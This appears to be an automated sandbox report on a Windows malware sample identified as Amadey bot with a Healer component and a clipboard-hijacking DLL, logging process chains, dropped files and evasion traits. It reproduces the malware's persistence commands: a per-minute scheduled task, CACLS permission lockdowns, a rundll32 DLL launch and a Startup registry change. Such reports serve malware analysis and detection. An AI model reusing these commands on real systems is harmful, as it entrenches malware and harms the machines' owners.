Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k echo Y\|CACLS "mnolyk.exe" /P "user:N"&&CACLS "mnolyk.exe" /P "user:R" /E&&echo Y\|CACLS "..\4b9a106e76" /P "user:N"&&CACLS "..\4b9a106e76" /P "user:R" /E&&Exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "mnolyk.exe" /P "user:N"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "mnolyk.exe" /P "user:R" /E
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "..\4b9a106e76" /P "user:N"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "..\4b9a106e76" /P "user:R" /E
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll, Main
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bjAg.exe C:\Users\user\AppData\Local\Temp\IXP000.TMP\bjAg.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bjAg.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bjAg.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Process created: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe "C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN mnolyk.exe /TR "C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe" /F	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k echo Y\|CACLS "mnolyk.exe" /P "user:N"&&CACLS "mnolyk.exe" /P "user:R" /E&&echo Y\|CACLS "..\4b9a106e76" /P "user:N"&&CACLS "..\4b9a106e76" /P "user:R" /E&&Exit	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll, Main	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "mnolyk.exe" /P "user:N"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "mnolyk.exe" /P "user:R" /E	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "..\4b9a106e76" /P "user:N"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cacls.exe CACLS "..\4b9a106e76" /P "user:R" /E	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010C1F90 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,ExitWindowsEx,ExitWindowsEx,		0_2_010C1F90
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bjAg.exe	Code function: 1_2_01091F90 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,ExitWindowsEx,ExitWindowsEx,		1_2_01091F90

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\IXP000.TMP

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_010C597D

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe

Code function: 2_2_004019F0 OleInitialize,_getenv,GetCurrentProcessId,CreateToolhelp32Snapshot,Module32First,CloseHandle,Module32Next,Module32Next,CloseHandle,GetModuleHandleA,FindResourceA,LoadResource,LockResource,SizeofResource,_malloc,_memset,SizeofResource,_memset,FreeResource,_malloc,SizeofResource,_memset,LoadLibraryA,GetProcAddress,VariantInit,VariantInit,VariantInit,SafeArrayCreate,SafeArrayAccessData,SafeArrayUnaccessData,SafeArrayDestroy,SafeArrayCreateVector,VariantClear,VariantClear,VariantClear,

2_2_004019F0

Source: unknown

Process created: C:\Windows\System32\rundll32.exe C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5576:120:WilError_01
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Mutant created: \Sessions\1\BaseNamedObjects\c1ec479e5342a25940592acf24703eb2
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:920:120:WilError_01

Source: C:\Users\user\Desktop\file.exe	Command line argument: Kernel32.dll	0_2_010C2BFB
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bjAg.exe	Command line argument: Kernel32.dll	1_2_01092BFB
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Command line argument: 08A	2_2_00413780

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: wextract.pdb source: file.exe, bjAg.exe.0.dr
Source:	Binary string: D:\Mktmp\Amadey\Release\Amadey.pdb source: file.exe, 00000000.00000003.307249151.0000000004A44000.00000004.00000020.00020000.00000000.sdmp, xriv.exe, 00000008.00000000.443385689.000000000019E000.00000002.00000001.01000000.00000009.sdmp, xriv.exe, 00000008.00000002.445541983.000000000019E000.00000002.00000001.01000000.00000009.sdmp, mnolyk.exe, 00000009.00000000.445170122.0000000000DAE000.00000002.00000001.01000000.0000000A.sdmp, mnolyk.exe, 00000009.00000002.828007613.0000000000DAE000.00000002.00000001.01000000.0000000A.sdmp, mnolyk.exe, 00000015.00000000.451693507.0000000000DAE000.00000002.00000001.01000000.0000000A.sdmp, mnolyk.exe, 00000015.00000002.452166128.0000000000DAE000.00000002.00000001.01000000.0000000A.sdmp, xriv.exe.0.dr, mnolyk.exe.8.dr
Source:	Binary string: Healer.pdb source: ajAf.exe, 00000002.00000002.414760321.0000000002210000.00000004.08000000.00040000.00000000.sdmp, ajAf.exe, 00000002.00000002.414947367.00000000025F1000.00000004.00000800.00020000.00000000.sdmp, ajAf.exe, 00000002.00000002.414637358.0000000001FF0000.00000004.00000020.00020000.00000000.sdmp, ajAf.exe, 00000002.00000002.414918695.00000000025B0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: wextract.pdbGCTL source: file.exe, bjAg.exe.0.dr
Source:	Binary string: C:\Users\Admin\source\repos\Healer\Healer\obj\Release\Healer.pdb source: bjAg.exe, 00000001.00000003.308200379.0000000000D2D000.00000004.00000020.00020000.00000000.sdmp, bjAg.exe, 00000001.00000003.308124851.0000000004873000.00000004.00000020.00020000.00000000.sdmp, nika.exe, 00000007.00000000.415603805.0000000000792000.00000002.00000001.01000000.00000008.sdmp, nika.exe.1.dr
Source:	Binary string: _.pdb source: ajAf.exe, 00000002.00000002.414760321.0000000002210000.00000004.08000000.00040000.00000000.sdmp, ajAf.exe, 00000002.00000002.414947367.00000000025F1000.00000004.00000800.00020000.00000000.sdmp, ajAf.exe, 00000002.00000002.414637358.0000000001FF0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\Mktmp\Amadey\ClipperDLL\Release\CLIPPERDLL.pdb source: rundll32.exe, 00000014.00000002.827912783.000000006E7EF000.00000002.00000001.01000000.0000000C.sdmp, clip64.dll.9.dr, clip64[1].dll.9.dr
Source:	Binary string: Healer.pdbH5 source: ajAf.exe, 00000002.00000002.414760321.0000000002210000.00000004.08000000.00040000.00000000.sdmp, ajAf.exe, 00000002.00000002.414947367.00000000025F1000.00000004.00000800.00020000.00000000.sdmp, ajAf.exe, 00000002.00000002.414637358.0000000001FF0000.00000004.00000020.00020000.00000000.sdmp, ajAf.exe, 00000002.00000002.414918695.00000000025B0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: C:\vot.pdb source: bjAg.exe, 00000001.00000003.308124851.000000000485F000.00000004.00000020.00020000.00000000.sdmp, ajAf.exe, 00000002.00000000.308294007.0000000000401000.00000020.00000001.01000000.00000005.sdmp, ajAf.exe.1.dr

Data Obfuscation

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe

Unpacked PE file: 2.2.ajAf.exe.400000.0.unpack

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe

Unpacked PE file: 2.2.ajAf.exe.400000.0.unpack .text:ER;.data:W;.weh:R;.lami:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010C724D push ecx; ret	0_2_010C7260
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bjAg.exe	Code function: 1_2_0109724D push ecx; ret	1_2_01097260
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Code function: 2_2_0041C40C push cs; iretd	2_2_0041C4E2
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Code function: 2_2_00423149 push eax; ret	2_2_00423179
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Code function: 2_2_0041C50E push cs; iretd	2_2_0041C4E2
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Code function: 2_2_004231C8 push eax; ret	2_2_00423179
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Code function: 2_2_0040E21D push ecx; ret	2_2_0040E230
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Code function: 2_2_0041C6BE push ebx; ret	2_2_0041C6BF
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Code function: 2_2_01FDC125 push ebx; ret	2_2_01FDC126
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Code function: 2_2_01FCE484 push ecx; ret	2_2_01FCE497
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Code function: 2_2_01FDBF75 push cs; iretd	2_2_01FDBF49
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Code function: 2_2_01FDBE73 push cs; iretd	2_2_01FDBF49
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Code function: 2_2_02234139 push edi; iretd	2_2_0223414E
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Code function: 2_2_0223454E push ecx; retf	2_2_02234554
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Code function: 8_2_00187D26 push ecx; ret	8_2_00187D39
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Code function: 8_2_0017F748 push E8FFFFFBh; iretd	8_2_0017F74D

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_010C2F1D GetSystemDirectoryA,LoadLibraryA,GetProcAddress,DecryptFileA,FreeLibrary,SetCurrentDirectoryA,

0_2_010C2F1D

Source: nika.exe.1.dr

Static PE information: 0xE382D401 [Fri Dec 15 06:19:45 2090 UTC]

Source: ajAf.exe.1.dr	Static PE information: section name: .weh
Source: ajAf.exe.1.dr	Static PE information: section name: .lami

Persistence and Installation Behavior

Yara detected Amadey bot

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 00000009.00000002.827863468.0000000000A72000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.827863468.00000000009FA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.581791427.0000000000A86000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.827863468.0000000000A86000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.581742963.0000000000A72000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.581742963.0000000000A86000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.827863468.0000000000A39000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	File created: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\clip64[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	File created: C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bjAg.exe	File created: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bjAg.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bjAg.exe	File created: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010C1AE8 CompareStringA,GetFileAttributesA,LocalAlloc,GetPrivateProfileIntA,GetPrivateProfileStringA,GetShortPathNameA,CompareStringA,LocalAlloc,LocalAlloc,GetFileAttributesA,		0_2_010C1AE8
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bjAg.exe	Code function: 1_2_01091AE8 CompareStringA,GetFileAttributesA,LocalAlloc,GetPrivateProfileIntA,GetPrivateProfileStringA,GetShortPathNameA,CompareStringA,LocalAlloc,LocalAlloc,GetFileAttributesA,		1_2_01091AE8

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN mnolyk.exe /TR "C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe" /F

Creates an undocumented autostart registry key

Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Key value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\cacls.exe CACLS "mnolyk.exe" /P "user:N"

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe TID: 5132	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe TID: 5848	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe TID: 5784	Thread sleep count: 171 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe TID: 5784	Thread sleep time: -5130000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe TID: 5316	Thread sleep time: -50000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe TID: 5912	Thread sleep count: 39 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe TID: 4948	Thread sleep count: 38 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe TID: 4948	Thread sleep time: -6840000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe TID: 5784	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 2540	Thread sleep count: 166 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 2540	Thread sleep time: -166000s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe

2_2_004019F0

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess			graph_2-26001
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep			graph_2-25741

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Thread delayed: delay time: 180000	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bjAg.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes			graph_1-2575
Source: C:\Users\user\Desktop\file.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes			graph_0-2569

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe

API coverage: 6.1 %

Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\clip64[1].dll

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Thread delayed: delay time: 50000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Thread delayed: delay time: 30000	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe

API call chain: ExitProcess graph end node

graph_2-26003

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_010C5467 GetSystemInfo,CreateDirectoryA,RemoveDirectoryA,

0_2_010C5467

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010C2390 FindFirstFileA,lstrcmpA,lstrcmpA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	0_2_010C2390
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bjAg.exe	Code function: 1_2_01092390 FindFirstFileA,lstrcmpA,lstrcmpA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	1_2_01092390
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Code function: 8_2_0018FC58 FindFirstFileExW,	8_2_0018FC58

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe

2_2_004019F0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_010C2F1D GetSystemDirectoryA,LoadLibraryA,GetProcAddress,DecryptFileA,FreeLibrary,SetCurrentDirectoryA,

0_2_010C2F1D

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe	Code function: 2_2_01FC092B mov eax, dword ptr fs:[00000030h]	2_2_01FC092B
